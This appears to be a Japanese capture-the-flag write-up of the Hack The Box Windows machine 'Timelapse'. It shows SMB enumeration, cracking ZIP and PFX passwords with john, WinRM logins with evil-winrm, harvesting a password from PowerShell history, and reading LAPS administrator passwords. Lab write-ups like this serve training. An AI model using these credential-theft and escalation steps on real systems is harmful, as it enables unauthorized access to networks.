概要#
Machine: Timelapse
OS: Windows
Difficulty: Easy
ポートスキャン#
Nmapでポートスキャンします。
sudo nmap -sC -sV <RHOST>
スキャン結果#
Nmapのスキャン結果から、以下のポートが開放されていることがわかります。
WinRM(5986)が使用されていることに注意します。
| ポート | サービス | |
|---|---|---|
| 53/tcp | DNS | |
| 88/tcp | Kerberos | |
| 135/tcp | RPC | |
| 139/tcp | NetBIOS | |
| 389/tcp | LDAP | |
| 445/tcp | SMB | |
| 464/tcp | Kerberos | |
| 593/tcp | RPC | |
| 636/tcp | LDAP | |
| 3268/tcp | LDAP | |
| 3269/tcp | LDAP | |
| 5986/tcp | WinRM (HTTPS) |
SMB列挙#
smbclientで共有フォルダを一覧表示します。
smbclient -N -L <RHOST>Sharesが見つかります。

Sharesにアクセスします。
smbclient -N //<RHOST>/Shareslsコマンドで、DevとHelpDeskの2つのフォルダが見つかりました。

mgetコマンドで、Shares配下のファイルを一括ダウンロードします。
recurse on
prompt off
mget *ダウンロードが完了したら、exitコマンドで接続を終了します。
exit
ファイル精査#
ダウンロードしたDevフォルダの中身を見ると、winrm_backup.zipが見つかります。
unzipコマンドで、このZIPファイルの展開を試みると、パスワード入力が求められます。

一方、HelpDeskフォルダには、ファイルが4つあります。1つはインストーラーで、ほか3つはLAPS技術に関するMicrosoft社公式ドキュメントのようです。
ZIPファイルのパスワード解析#
ZIPファイルwinrm_backup.zipのパスワードを明らかにします。
まずは、zip2johnでパスワードハッシュを抽出します。
zip2john htb/timelapse/Dev/winrm_backup.zip > htb/timelapse/winrm_backup.hashJohnでパスワードを解析します。ここで、ワードリストにrockyou.txtを使用します。
john --wordlist=/usr/share/wordlists/rockyou.txt htb/timelapse/winrm_backup.hash実行結果より、パスワードはsupremelegacyであることがわかります。

PFXファイルのパスワード解析#
入手したパスワードsupremelegacyでwinrm_backup.zipを展開します。
PFXファイルが見つかりますが、これもまたパスワードで保護されています。
先ほどと同じ要領で、PFXファイルのパスワードを明らかにします。
pfx2johnでパスワードハッシュを抽出します。
pfx2john htb/timelapse/legacyy_dev_auth.pfx > htb/timelapse/legacyy_dev_auth.hashJohnでパスワードを解析します。ワードリストにrockyou.txtを使用します。
john --wordlist=/usr/share/wordlists/rockyou.txt htb/timelapse/legacyy_dev_auth.hashパスワードはthuglegacyであることがわかりました。

秘密鍵・公開鍵の抽出#
PFXファイルから秘密鍵と公開鍵を抽出します。
- 秘密鍵の抽出
openssl pkcs12 -in htb/timelapse/legacyy_dev_auth.pfx -nocerts -out htb/timelapse/legacyy_dev_auth.key- 公開鍵の抽出
openssl pkcs12 -in htb/timelapse/legacyy_dev_auth.pfx -nokeys -out htb/timelapse/legacyy_dev_auth.crtWinRM経由での接続 (legaccy)#
抽出した秘密鍵と公開鍵を使って、WinRM経由でマシンに接続します。
evil-winrm -k htb/timelapse/legacyy_dev_auth.key -c htb/timelapse/legacyy_dev_auth.crt -i <RHOST> -S-S- SSLを有効にします(標的マシンが5986ポートを使用しているため)
接続は成功しました。whoamiコマンドを実行すると、legaccyユーザーとしてログオンできていることがわかります。

userフラグの取得#
legaccyユーザーのDesktop配下にuserフラグが見つかります。

typeコマンドでフラグを表示します。
type Desktop/user.txtPowerShellコマンド履歴の閲覧#
PowerShellのコマンド履歴を表示します。
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtユーザー名svc_deployのパスワードがE3R$Q62^12p7PLlC%KWaxuaVであることがわかります。

WinRM経由での接続 (svc_deploy)#
evil-winrm -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -i <RHOST> -S 
ReadLAPSPassword#
whoamiコマンドで、svc_deployが所属するグループを表示してみます。
whoami /groups
LAPS_Readersという名前のグループに所属していることがわかりました。
このグループ名から、LAPSパスワードを閲覧できることが推測できます。
マシン名Timelapseの由来?
LAPSパスワードは、ms-mcs-admpwdに格納されているため、Get-ADComputerコマンドレットで表示します。
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'参考:ReadLAPSPassword | The Hacker Recipes
実行結果より、パスワードがGp&/n0ibz2JRQ4{GSTJ);P;0であることがわかります。
WinRM経由での接続 (administrator)#
入手したパスワードを使い、administratorユーザーとしてマシンに接続してみます。
evil-winrm -u administrator -p 'Gp&/n0ibz2JRQ4{GSTJ);P;0' -i <RHOST> -S見事、管理者権限でマシンに接続することができました。

rootフラグの取得#
TRXユーザーのDesktop配下にrootフラグが見つかります。

関連ページ#
今回のWriteupで使用したペネトレツールなど、関連ページを紹介します。